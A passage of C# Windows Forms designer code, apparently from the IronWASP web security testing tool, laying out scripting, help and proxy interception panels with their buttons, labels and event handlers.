this.CustomSendTE.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.CustomSendTE.ConvertTabsToSpaces = true; - this.CustomSendTE.IsIconBarVisible = false; - this.CustomSendTE.Location = new System.Drawing.Point(0, 74); - this.CustomSendTE.Margin = new System.Windows.Forms.Padding(0); - this.CustomSendTE.Name = "CustomSendTE"; - this.CustomSendTE.ShowEOLMarkers = true; - this.CustomSendTE.ShowSpaces = true; - this.CustomSendTE.ShowTabs = true; - this.CustomSendTE.ShowVRuler = true; - this.CustomSendTE.Size = new System.Drawing.Size(530, 192); - this.CustomSendTE.TabIndent = 2; - this.CustomSendTE.TabIndex = 14; - // - // CustomSendBottomRtb - // - this.CustomSendBottomRtb.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.CustomSendBottomRtb.BackColor = System.Drawing.SystemColors.Window; - this.CustomSendBottomRtb.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.CustomSendBottomRtb.Location = new System.Drawing.Point(0, 266); - this.CustomSendBottomRtb.Margin = new System.Windows.Forms.Padding(0); - this.CustomSendBottomRtb.Name = "CustomSendBottomRtb"; - this.CustomSendBottomRtb.ReadOnly = true; - this.CustomSendBottomRtb.Size = new System.Drawing.Size(525, 44); - this.CustomSendBottomRtb.TabIndex = 10; - this.CustomSendBottomRtb.Text = " return res"; - // - // CustomSendTopRtb - // - this.CustomSendTopRtb.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.CustomSendTopRtb.BackColor = System.Drawing.SystemColors.Window; - this.CustomSendTopRtb.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.CustomSendTopRtb.Location = new System.Drawing.Point(0, 54); - this.CustomSendTopRtb.Margin = new System.Windows.Forms.Padding(0); - this.CustomSendTopRtb.Name = "CustomSendTopRtb"; - this.CustomSendTopRtb.ReadOnly = true; - this.CustomSendTopRtb.Size = new System.Drawing.Size(200, 20); - this.CustomSendTopRtb.TabIndex = 9; - this.CustomSendTopRtb.Text = "def ScriptedSend(req):"; - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(5, 9); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(58, 13); - this.label1.TabIndex = 6; - this.label1.Text = "Language:"; - // - // CustomSendActivateCB - // - this.CustomSendActivateCB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.CustomSendActivateCB.AutoSize = true; - this.CustomSendActivateCB.Location = new System.Drawing.Point(322, 8); - this.CustomSendActivateCB.Name = "CustomSendActivateCB"; - this.CustomSendActivateCB.Size = new System.Drawing.Size(199, 17); - this.CustomSendActivateCB.TabIndex = 13; - this.CustomSendActivateCB.Text = "Activate this Script for Scripted Send"; - this.CustomSendActivateCB.UseVisualStyleBackColor = true; - this.CustomSendActivateCB.CheckedChanged += new System.EventHandler(this.CustomSendActivateCB_CheckedChanged); - // - // CustomSendRubyRB - // - this.CustomSendRubyRB.AutoSize = true; - this.CustomSendRubyRB.Location = new System.Drawing.Point(127, 7); - this.CustomSendRubyRB.Name = "CustomSendRubyRB"; - this.CustomSendRubyRB.Size = new System.Drawing.Size(50, 17); - this.CustomSendRubyRB.TabIndex = 8; - this.CustomSendRubyRB.Text = "Ruby"; - this.CustomSendRubyRB.UseVisualStyleBackColor = true; - this.CustomSendRubyRB.CheckedChanged += new System.EventHandler(this.CustomSendRubyRB_CheckedChanged); - // - // CustomSendPythonRB - // - this.CustomSendPythonRB.AutoSize = true; - this.CustomSendPythonRB.Checked = true; - this.CustomSendPythonRB.Location = new System.Drawing.Point(67, 7); - this.CustomSendPythonRB.Name = "CustomSendPythonRB"; - this.CustomSendPythonRB.Size = new System.Drawing.Size(58, 17); - this.CustomSendPythonRB.TabIndex = 7; - this.CustomSendPythonRB.TabStop = true; - this.CustomSendPythonRB.Text = "Python"; - this.CustomSendPythonRB.UseVisualStyleBackColor = true; - this.CustomSendPythonRB.CheckedChanged += new System.EventHandler(this.CustomSendPythonRB_CheckedChanged); - // - // ScriptingHelpTP - // - this.ScriptingHelpTP.Controls.Add(this.ScriptingHelpTB); - this.ScriptingHelpTP.Location = new System.Drawing.Point(4, 22); - this.ScriptingHelpTP.Name = "ScriptingHelpTP"; - this.ScriptingHelpTP.Size = new System.Drawing.Size(525, 408); - this.ScriptingHelpTP.TabIndex = 3; - this.ScriptingHelpTP.Text = " Help "; - this.ScriptingHelpTP.UseVisualStyleBackColor = true; - // - // ScriptingHelpTB - // - this.ScriptingHelpTB.BackColor = System.Drawing.Color.White; - this.ScriptingHelpTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScriptingHelpTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScriptingHelpTB.Location = new System.Drawing.Point(0, 0); - this.ScriptingHelpTB.Multiline = true; - this.ScriptingHelpTB.Name = "ScriptingHelpTB"; - this.ScriptingHelpTB.ReadOnly = true; - this.ScriptingHelpTB.ScrollBars = System.Windows.Forms.ScrollBars.Vertical; - this.ScriptingHelpTB.Size = new System.Drawing.Size(525, 408); - this.ScriptingHelpTB.TabIndex = 1; - this.ScriptingHelpTB.TabStop = false; - this.ScriptingHelpTB.Text = resources.GetString("ScriptingHelpTB.Text"); - // - // InteractiveShellRubyRB - // - this.InteractiveShellRubyRB.AutoSize = true; - this.InteractiveShellRubyRB.Location = new System.Drawing.Point(132, 52); - this.InteractiveShellRubyRB.Name = "InteractiveShellRubyRB"; - this.InteractiveShellRubyRB.Size = new System.Drawing.Size(50, 17); - this.InteractiveShellRubyRB.TabIndex = 5; - this.InteractiveShellRubyRB.Text = "Ruby"; - this.InteractiveShellRubyRB.UseVisualStyleBackColor = true; - this.InteractiveShellRubyRB.CheckedChanged += new System.EventHandler(this.InteractiveShellRubyRB_CheckedChanged); - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(4, 54); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(58, 13); - this.label2.TabIndex = 3; - this.label2.Text = "Language:"; - // - // InteractiveShellPythonRB - // - this.InteractiveShellPythonRB.AutoSize = true; - this.InteractiveShellPythonRB.Checked = true; - this.InteractiveShellPythonRB.Location = new System.Drawing.Point(68, 52); - this.InteractiveShellPythonRB.Name = "InteractiveShellPythonRB"; - this.InteractiveShellPythonRB.Size = new System.Drawing.Size(58, 17); - this.InteractiveShellPythonRB.TabIndex = 4; - this.InteractiveShellPythonRB.TabStop = true; - this.InteractiveShellPythonRB.Text = "Python"; - this.InteractiveShellPythonRB.UseVisualStyleBackColor = true; - this.InteractiveShellPythonRB.CheckedChanged += new System.EventHandler(this.InteractiveShellPythonRB_CheckedChanged); - // - // ScriptingShellAPISplit - // - this.ScriptingShellAPISplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScriptingShellAPISplit.Location = new System.Drawing.Point(0, 0); - this.ScriptingShellAPISplit.Margin = new System.Windows.Forms.Padding(0); - this.ScriptingShellAPISplit.Name = "ScriptingShellAPISplit"; - this.ScriptingShellAPISplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // ScriptingShellAPISplit.Panel1 - // - this.ScriptingShellAPISplit.Panel1.Controls.Add(this.ScriptingShellAPITreeTabs); - // - // ScriptingShellAPISplit.Panel2 - // - this.ScriptingShellAPISplit.Panel2.Controls.Add(this.ShellAPIDetailsRTB); - this.ScriptingShellAPISplit.Size = new System.Drawing.Size(170, 511); - this.ScriptingShellAPISplit.SplitterDistance = 212; - this.ScriptingShellAPISplit.SplitterWidth = 2; - this.ScriptingShellAPISplit.TabIndex = 0; - // - // ScriptingShellAPITreeTabs - // - this.ScriptingShellAPITreeTabs.Controls.Add(this.ScriptingShellAPITreePythonTab); - this.ScriptingShellAPITreeTabs.Controls.Add(this.ScriptingShellAPITreeRubyTab); - this.ScriptingShellAPITreeTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScriptingShellAPITreeTabs.Location = new System.Drawing.Point(0, 0); - this.ScriptingShellAPITreeTabs.Margin = new System.Windows.Forms.Padding(0); - this.ScriptingShellAPITreeTabs.Name = "ScriptingShellAPITreeTabs"; - this.ScriptingShellAPITreeTabs.Padding = new System.Drawing.Point(0, 0); - this.ScriptingShellAPITreeTabs.SelectedIndex = 0; - this.ScriptingShellAPITreeTabs.Size = new System.Drawing.Size(170, 212); - this.ScriptingShellAPITreeTabs.TabIndex = 0; - // - // ScriptingShellAPITreePythonTab - // - this.ScriptingShellAPITreePythonTab.Controls.Add(this.ScriptingShellPythonAPITree); - this.ScriptingShellAPITreePythonTab.Location = new System.Drawing.Point(4, 22); - this.ScriptingShellAPITreePythonTab.Margin = new System.Windows.Forms.Padding(0); - this.ScriptingShellAPITreePythonTab.Name = "ScriptingShellAPITreePythonTab"; - this.ScriptingShellAPITreePythonTab.Size = new System.Drawing.Size(162, 186); - this.ScriptingShellAPITreePythonTab.TabIndex = 0; - this.ScriptingShellAPITreePythonTab.Text = "Python"; - this.ScriptingShellAPITreePythonTab.UseVisualStyleBackColor = true; - // - // ScriptingShellPythonAPITree - // - this.ScriptingShellPythonAPITree.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScriptingShellPythonAPITree.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScriptingShellPythonAPITree.Location = new System.Drawing.Point(0, 0); - this.ScriptingShellPythonAPITree.Margin = new System.Windows.Forms.Padding(0); - this.ScriptingShellPythonAPITree.Name = "ScriptingShellPythonAPITree"; - this.ScriptingShellPythonAPITree.Size = new System.Drawing.Size(162, 186); - this.ScriptingShellPythonAPITree.TabIndex = 0; - this.ScriptingShellPythonAPITree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.ScriptingShellPythonAPITree_AfterSelect); - // - // ScriptingShellAPITreeRubyTab - // - this.ScriptingShellAPITreeRubyTab.Controls.Add(this.ScriptingShellRubyAPITree); - this.ScriptingShellAPITreeRubyTab.Location = new System.Drawing.Point(4, 22); - this.ScriptingShellAPITreeRubyTab.Margin = new System.Windows.Forms.Padding(0); - this.ScriptingShellAPITreeRubyTab.Name = "ScriptingShellAPITreeRubyTab"; - this.ScriptingShellAPITreeRubyTab.Size = new System.Drawing.Size(162, 186); - this.ScriptingShellAPITreeRubyTab.TabIndex = 1; - this.ScriptingShellAPITreeRubyTab.Text = "Ruby"; - this.ScriptingShellAPITreeRubyTab.UseVisualStyleBackColor = true; - // - // ScriptingShellRubyAPITree - // - this.ScriptingShellRubyAPITree.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ScriptingShellRubyAPITree.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScriptingShellRubyAPITree.Location = new System.Drawing.Point(0, 0); - this.ScriptingShellRubyAPITree.Margin = new System.Windows.Forms.Padding(0); - this.ScriptingShellRubyAPITree.Name = "ScriptingShellRubyAPITree"; - this.ScriptingShellRubyAPITree.Size = new System.Drawing.Size(162, 186); - this.ScriptingShellRubyAPITree.TabIndex = 1; - this.ScriptingShellRubyAPITree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.ScriptingShellRubyAPITree_AfterSelect); - // - // ShellAPIDetailsRTB - // - this.ShellAPIDetailsRTB.Dock = System.Windows.Forms.DockStyle.Fill; - this.ShellAPIDetailsRTB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ShellAPIDetailsRTB.Location = new System.Drawing.Point(0, 0); - this.ShellAPIDetailsRTB.Margin = new System.Windows.Forms.Padding(0); - this.ShellAPIDetailsRTB.Name = "ShellAPIDetailsRTB"; - this.ShellAPIDetailsRTB.ScrollBars = System.Windows.Forms.RichTextBoxScrollBars.Vertical; - this.ShellAPIDetailsRTB.Size = new System.Drawing.Size(170, 297); - this.ShellAPIDetailsRTB.TabIndex = 0; - this.ShellAPIDetailsRTB.Text = ""; - // - // mt_proxy - // - this.mt_proxy.Controls.Add(this.ProxyBaseSplit); - this.mt_proxy.Location = new System.Drawing.Point(4, 22); - this.mt_proxy.Margin = new System.Windows.Forms.Padding(0); - this.mt_proxy.Name = "mt_proxy"; - this.mt_proxy.Size = new System.Drawing.Size(705, 511); - this.mt_proxy.TabIndex = 1; - this.mt_proxy.Text = " Proxy "; - this.mt_proxy.UseVisualStyleBackColor = true; - // - // ProxyBaseSplit - // - this.ProxyBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ProxyBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; - this.ProxyBaseSplit.IsSplitterFixed = true; - this.ProxyBaseSplit.Location = new System.Drawing.Point(0, 0); - this.ProxyBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.ProxyBaseSplit.Name = "ProxyBaseSplit"; - this.ProxyBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // ProxyBaseSplit.Panel1 - // - this.ProxyBaseSplit.Panel1.BackColor = System.Drawing.Color.White; - this.ProxyBaseSplit.Panel1.Controls.Add(this.ProxyLoopbackLbl); - this.ProxyBaseSplit.Panel1.Controls.Add(this.label33); - this.ProxyBaseSplit.Panel1.Controls.Add(this.ProxyPortLbl); - this.ProxyBaseSplit.Panel1.Controls.Add(this.ViewProxyInterceptionConfigLink); - this.ProxyBaseSplit.Panel1.Controls.Add(this.label3); - this.ProxyBaseSplit.Panel1.Controls.Add(this.ProxyExceptionTB); - this.ProxyBaseSplit.Panel1.Controls.Add(this.ConfigSetAsSystemProxyCB); - this.ProxyBaseSplit.Panel1.Controls.Add(this.ProxyOptionsBtn); - this.ProxyBaseSplit.Panel1.Controls.Add(this.InterceptRequestCB); - this.ProxyBaseSplit.Panel1.Controls.Add(this.ProxyDropBtn); - this.ProxyBaseSplit.Panel1.Controls.Add(this.InterceptResponseCB); - this.ProxyBaseSplit.Panel1.Controls.Add(this.label7); - this.ProxyBaseSplit.Panel1.Controls.Add(this.ViewProxyLogLink); - this.ProxyBaseSplit.Panel1.Controls.Add(this.ProxySendBtn); - // - // ProxyBaseSplit.Panel2 - // - this.ProxyBaseSplit.Panel2.Controls.Add(this.ProxyBottomPanel); - this.ProxyBaseSplit.Size = new System.Drawing.Size(705, 511); - this.ProxyBaseSplit.SplitterDistance = 80; - this.ProxyBaseSplit.SplitterWidth = 2; - this.ProxyBaseSplit.TabIndex = 19; - // - // ProxyLoopbackLbl - // - this.ProxyLoopbackLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ProxyLoopbackLbl.AutoSize = true; - this.ProxyLoopbackLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ProxyLoopbackLbl.ForeColor = System.Drawing.Color.SteelBlue; - this.ProxyLoopbackLbl.Location = new System.Drawing.Point(667, 25); - this.ProxyLoopbackLbl.Name = "ProxyLoopbackLbl"; - this.ProxyLoopbackLbl.Size = new System.Drawing.Size(23, 13); - this.ProxyLoopbackLbl.TabIndex = 21; - this.ProxyLoopbackLbl.Text = "No"; - // - // label33 - // - this.label33.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.label33.AutoSize = true; - this.label33.Location = new System.Drawing.Point(511, 23); - this.label33.Name = "label33"; - this.label33.Size = new System.Drawing.Size(154, 13); - this.label33.TabIndex = 20; - this.label33.Text = "Accepting remote connections:"; - // - // ProxyPortLbl - // - this.ProxyPortLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ProxyPortLbl.AutoSize = true; - this.ProxyPortLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ProxyPortLbl.ForeColor = System.Drawing.Color.SteelBlue; - this.ProxyPortLbl.Location = new System.Drawing.Point(631, 8); - this.ProxyPortLbl.Name = "ProxyPortLbl"; - this.ProxyPortLbl.Size = new System.Drawing.Size(31, 13); - this.ProxyPortLbl.TabIndex = 19; - this.ProxyPortLbl.Text = " "; - // - // ViewProxyInterceptionConfigLink - // - this.ViewProxyInterceptionConfigLink.AutoSize = true; - this.ViewProxyInterceptionConfigLink.Location = new System.Drawing.Point(490, 63); - this.ViewProxyInterceptionConfigLink.Name = "ViewProxyInterceptionConfigLink"; - this.ViewProxyInterceptionConfigLink.Size = new System.Drawing.Size(53, 13); - this.ViewProxyInterceptionConfigLink.TabIndex = 18; - this.ViewProxyInterceptionConfigLink.TabStop = true; - this.ViewProxyInterceptionConfigLink.Text = "click here"; - this.ViewProxyInterceptionConfigLink.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ViewProxyInterceptionConfigLink_LinkClicked); - // - // label3 - // - this.label3.AutoSize = true; - this.label3.ForeColor = System.Drawing.Color.Gray; - this.label3.Location = new System.Drawing.Point(7, 63); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(483, 13); - this.label3.TabIndex = 17; - this.label3.Text = "Requests/Responses that don\'t match the interception filter will not be intercept" + - "ed. To adjust the filter"; - // - // ProxyExceptionTB - // - this.ProxyExceptionTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ProxyExceptionTB.BackColor = System.Drawing.SystemColors.Window; - this.ProxyExceptionTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.ProxyExceptionTB.ForeColor = System.Drawing.Color.Red; - this.ProxyExceptionTB.Location = new System.Drawing.Point(10, 45); - this.ProxyExceptionTB.Name = "ProxyExceptionTB"; - this.ProxyExceptionTB.ReadOnly = true; - this.ProxyExceptionTB.Size = new System.Drawing.Size(480, 13); - this.ProxyExceptionTB.TabIndex = 12; - this.ProxyExceptionTB.Visible = false; - // - // ConfigSetAsSystemProxyCB - // - this.ConfigSetAsSystemProxyCB.AutoSize = true; - this.ConfigSetAsSystemProxyCB.BackColor = System.Drawing.Color.Orange; - this.ConfigSetAsSystemProxyCB.Enabled = false; - this.ConfigSetAsSystemProxyCB.Location = new System.Drawing.Point(383, 7); - this.ConfigSetAsSystemProxyCB.Name = "ConfigSetAsSystemProxyCB"; - this.ConfigSetAsSystemProxyCB.Size = new System.Drawing.Size(122, 17); - this.ConfigSetAsSystemProxyCB.TabIndex = 5; - this.ConfigSetAsSystemProxyCB.Text = "Set as System Proxy"; - this.ConfigSetAsSystemProxyCB.UseVisualStyleBackColor = false; - this.ConfigSetAsSystemProxyCB.Click += new System.EventHandler(this.ConfigSetAsSystemProxyCB_Click); - // - // ProxyOptionsBtn - // - this.ProxyOptionsBtn.ContextMenuStrip = this.LogMenu; - this.ProxyOptionsBtn.Location = new System.Drawing.Point(324, 21); - this.ProxyOptionsBtn.Name = "ProxyOptionsBtn"; - this.ProxyOptionsBtn.Size = new System.Drawing.Size(47, 19); - this.ProxyOptionsBtn.TabIndex = 16; - this.ProxyOptionsBtn.Text = "\\/"; - this.ProxyOptionsBtn.UseVisualStyleBackColor = true; - this.ProxyOptionsBtn.Click += new System.EventHandler(this.ProxyOptionsBtn_Click); - // - // InterceptRequestCB - // - this.InterceptRequestCB.AutoSize = true; - this.InterceptRequestCB.Location = new System.Drawing.Point(193, 4); - this.InterceptRequestCB.MaximumSize = new System.Drawing.Size(125, 17); - this.InterceptRequestCB.Name = "InterceptRequestCB"; - this.InterceptRequestCB.Size = new System.Drawing.Size(116, 17); - this.InterceptRequestCB.TabIndex = 6; - this.InterceptRequestCB.Text = "Intercept Requests"; - this.InterceptRequestCB.UseVisualStyleBackColor = true; - this.InterceptRequestCB.CheckedChanged += new System.EventHandler(this.InterceptRequestCB_CheckedChanged); - // - // ProxyDropBtn - // - this.ProxyDropBtn.Enabled = false; - this.ProxyDropBtn.Location = new System.Drawing.Point(100, 10); - this.ProxyDropBtn.MaximumSize = new System.Drawing.Size(80, 22); - this.ProxyDropBtn.Name = "ProxyDropBtn"; - this.ProxyDropBtn.Size = new System.Drawing.Size(80, 22); - this.ProxyDropBtn.TabIndex = 3; - this.ProxyDropBtn.Text = "Drop"; - this.ProxyDropBtn.UseVisualStyleBackColor = true; - this.ProxyDropBtn.Click += new System.EventHandler(this.ProxyDropBtn_Click); - // - // InterceptResponseCB - // - this.InterceptResponseCB.AutoSize = true; - this.InterceptResponseCB.Location = new System.Drawing.Point(193, 22); - this.InterceptResponseCB.MaximumSize = new System.Drawing.Size(125, 17); - this.InterceptResponseCB.Name = "InterceptResponseCB"; - this.InterceptResponseCB.Size = new System.Drawing.Size(124, 17); - this.InterceptResponseCB.TabIndex = 7; - this.InterceptResponseCB.Text = "Intercept Responses"; - this.InterceptResponseCB.UseVisualStyleBackColor = true; - this.InterceptResponseCB.CheckedChanged += new System.EventHandler(this.InterceptResponseCB_CheckedChanged); - // - // label7 - // - this.label7.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.label7.AutoSize = true; - this.label7.Location = new System.Drawing.Point(511, 7); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(111, 13); - this.label7.TabIndex = 3; - this.label7.Text = "Proxy running on Port:"; - // - // ViewProxyLogLink - // - this.ViewProxyLogLink.AutoSize = true; - this.ViewProxyLogLink.Location = new System.Drawing.Point(321, 5); - this.ViewProxyLogLink.Name = "ViewProxyLogLink"; - this.ViewProxyLogLink.Size = new System.Drawing.Size(56, 13); - this.ViewProxyLogLink.TabIndex = 13; - this.ViewProxyLogLink.TabStop = true; - this.ViewProxyLogLink.Text = "View Logs"; - this.ViewProxyLogLink.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ViewProxyLogLink_LinkClicked); - // - // ProxySendBtn - // - this.ProxySendBtn.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left))); - this.ProxySendBtn.AutoSize = true; - this.ProxySendBtn.Enabled = false; - this.ProxySendBtn.Location = new System.Drawing.Point(7, 10); - this.ProxySendBtn.MaximumSize = new System.Drawing.Size(80, 22); - this.ProxySendBtn.MinimumSize = new System.Drawing.Size(68, 22); - this.ProxySendBtn.Name = "ProxySendBtn"; - this.ProxySendBtn.Size = new System.Drawing.Size(80, 22); - this.ProxySendBtn.TabIndex = 2; - this.ProxySendBtn.Text = "Send"; - this.ProxySendBtn.UseVisualStyleBackColor = true; - this.ProxySendBtn.Click += new System.EventHandler(this.ProxySendBtn_Click); - // - // ProxyBottomPanel - // - this.ProxyBottomPanel.Controls.Add(this.ProxyInterceptTabs); - this.ProxyBottomPanel.Dock = System.Windows.Forms.DockStyle.Fill; - this.ProxyBottomPanel.Location = new System.Drawing.Point(0, 0); - this.ProxyBottomPanel.Margin = new System.Windows.Forms.Padding(0); - this.ProxyBottomPanel.Name = "ProxyBottomPanel"; - this.ProxyBottomPanel.Size = new System.Drawing.Size(705, 429); - this.ProxyBottomPanel.TabIndex = 18; - // - // ProxyInterceptTabs - // - this.ProxyInterceptTabs.Controls.Add(this.ProxyInterceptRequestTab); - this.ProxyInterceptTabs.Controls.Add(this.ProxyInterceptResponseTab); - this.ProxyInterceptTabs.Controls.Add(this.ProxyScriptedInterceptTab); - this.ProxyInterceptTabs.Controls.Add(this.ProxyHelpTab); - this.ProxyInterceptTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.ProxyInterceptTabs.Location = new System.Drawing.Point(0, 0); - this.ProxyInterceptTabs.Margin = new System.Windows.Forms.Padding(0); - this.ProxyInterceptTabs.Name = "ProxyInterceptTabs"; - this.ProxyInterceptTabs.Padding = new System.Drawing.Point(0, 0); - this.ProxyInterceptTabs.SelectedIndex = 0; - this.ProxyInterceptTabs.Size = new System.Drawing.Size(705, 429); - this.ProxyInterceptTabs.TabIndex = 1; - this.ProxyInterceptTabs.SelectedIndexChanged += new System.EventHandler(this.ProxyInterceptTabs_SelectedIndexChanged); - this.ProxyInterceptTabs.Deselecting += new System.Windows.Forms.TabControlCancelEventHandler(this.ProxyInterceptTabs_Deselecting); - // - // ProxyInterceptRequestTab - // - this.ProxyInterceptRequestTab.Controls.Add(this.ProxyRequestView); - this.ProxyInterceptRequestTab.Location = new System.Drawing.Point(4, 22); - this.ProxyInterceptRequestTab.Margin = new System.Windows.Forms.Padding(0); - this.ProxyInterceptRequestTab.Name = "ProxyInterceptRequestTab"; - this.ProxyInterceptRequestTab.Size = new System.Drawing.Size(697, 403); - this.ProxyInterceptRequestTab.TabIndex = 0; - this.ProxyInterceptRequestTab.Text = " Request "; - this.ProxyInterceptRequestTab.UseVisualStyleBackColor = true; - // - // ProxyRequestView - // - this.ProxyRequestView.BackColor = System.Drawing.Color.White; - this.ProxyRequestView.Dock = System.Windows.Forms.DockStyle.Fill; - this.ProxyRequestView.Location = new System.Drawing.Point(0, 0); - this.ProxyRequestView.Margin = new System.Windows.Forms.Padding(0); - this.ProxyRequestView.Name = "ProxyRequestView"; - this.ProxyRequestView.ReadOnly = true; - this.ProxyRequestView.Size = new System.Drawing.Size(697, 403); - this.ProxyRequestView.TabIndex = 0; - this.ProxyRequestView.RequestChanged += new IronWASP.RequestView.RequestChangedEvent(this.ProxyRequestView_RequestChanged); - // - // ProxyInterceptResponseTab - // - this.ProxyInterceptResponseTab.Controls.Add(this.ProxyResponseView); - this.ProxyInterceptResponseTab.Location = new System.Drawing.Point(4, 22); - this.ProxyInterceptResponseTab.Margin = new System.Windows.Forms.Padding(0); - this.ProxyInterceptResponseTab.Name = "ProxyInterceptResponseTab"; - this.ProxyInterceptResponseTab.Size = new System.Drawing.Size(697, 403); - this.ProxyInterceptResponseTab.TabIndex = 1; - this.ProxyInterceptResponseTab.Text = " Response "; - this.ProxyInterceptResponseTab.UseVisualStyleBackColor = true; - // - // ProxyResponseView - // - this.ProxyResponseView.BackColor = System.Drawing.Color.White; - this.ProxyResponseView.Dock = System.Windows.Forms.DockStyle.Fill; - this.ProxyResponseView.IncludeReflectionTab = false; - this.ProxyResponseView.Location = new System.Drawing.Point(0, 0); - this.ProxyResponseView.Margin = new System.Windows.Forms.Padding(0); - this.ProxyResponseView.Name = "ProxyResponseView"; - this.ProxyResponseView.ReadOnly = true; - this.ProxyResponseView.Size = new System.Drawing.Size(697, 403); - this.ProxyResponseView.TabIndex = 0; - this.ProxyResponseView.ResponseChanged += new IronWASP.ResponseView.ResponseChangedEvent(this.ProxyResponseView_ResponseChanged); - // - // ProxyScriptedInterceptTab - // - this.ProxyScriptedInterceptTab.Controls.Add(this.ScriptedInterceptionBaseSplit); - this.ProxyScriptedInterceptTab.Location = new System.Drawing.Point(4, 22); - this.ProxyScriptedInterceptTab.Name = "ProxyScriptedInterceptTab"; - this.ProxyScriptedInterceptTab.Size = new System.Drawing.Size(697, 403); - this.ProxyScriptedInterceptTab.TabIndex = 2; - this.ProxyScriptedInterceptTab.Text = " Scripted Interception "; - this.ProxyScriptedInterceptTab.UseVisualStyleBackColor = true; - // - // ScriptedInterceptionBaseSplit - // - this.ScriptedInterceptionBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ScriptedInterceptionBaseSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; - this.ScriptedInterceptionBaseSplit.IsSplitterFixed = true; - this.ScriptedInterceptionBaseSplit.Location = new System.Drawing.Point(0, 0); - this.ScriptedInterceptionBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.ScriptedInterceptionBaseSplit.Name = "ScriptedInterceptionBaseSplit"; - this.ScriptedInterceptionBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // ScriptedInterceptionBaseSplit.Panel1 - // - this.ScriptedInterceptionBaseSplit.Panel1.BackColor = System.Drawing.Color.White; - this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.panel5); - this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.ShowScriptedInterceptionTemplateLL); - this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.ScriptedInterceptionScriptTopRTB); - this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.ScriptedInterceptionActivateScriptCB); - this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.ScriptedInterceptionPythonRB); - this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.ScriptedInterceptionRubyRB); - this.ScriptedInterceptionBaseSplit.Panel1.Controls.Add(this.label42); - // - // ScriptedInterceptionBaseSplit.Panel2 - // - this.ScriptedInterceptionBaseSplit.Panel2.Controls.Add(this.ScriptedInterceptionBottomSplit); - this.ScriptedInterceptionBaseSplit.Size = new System.Drawing.Size(697, 403); - this.ScriptedInterceptionBaseSplit.SplitterDistance = 130; - this.ScriptedInterceptionBaseSplit.SplitterWidth = 2; - this.ScriptedInterceptionBaseSplit.TabIndex = 25; - this.ScriptedInterceptionBaseSplit.Visible = false; - // - // panel5 - // - 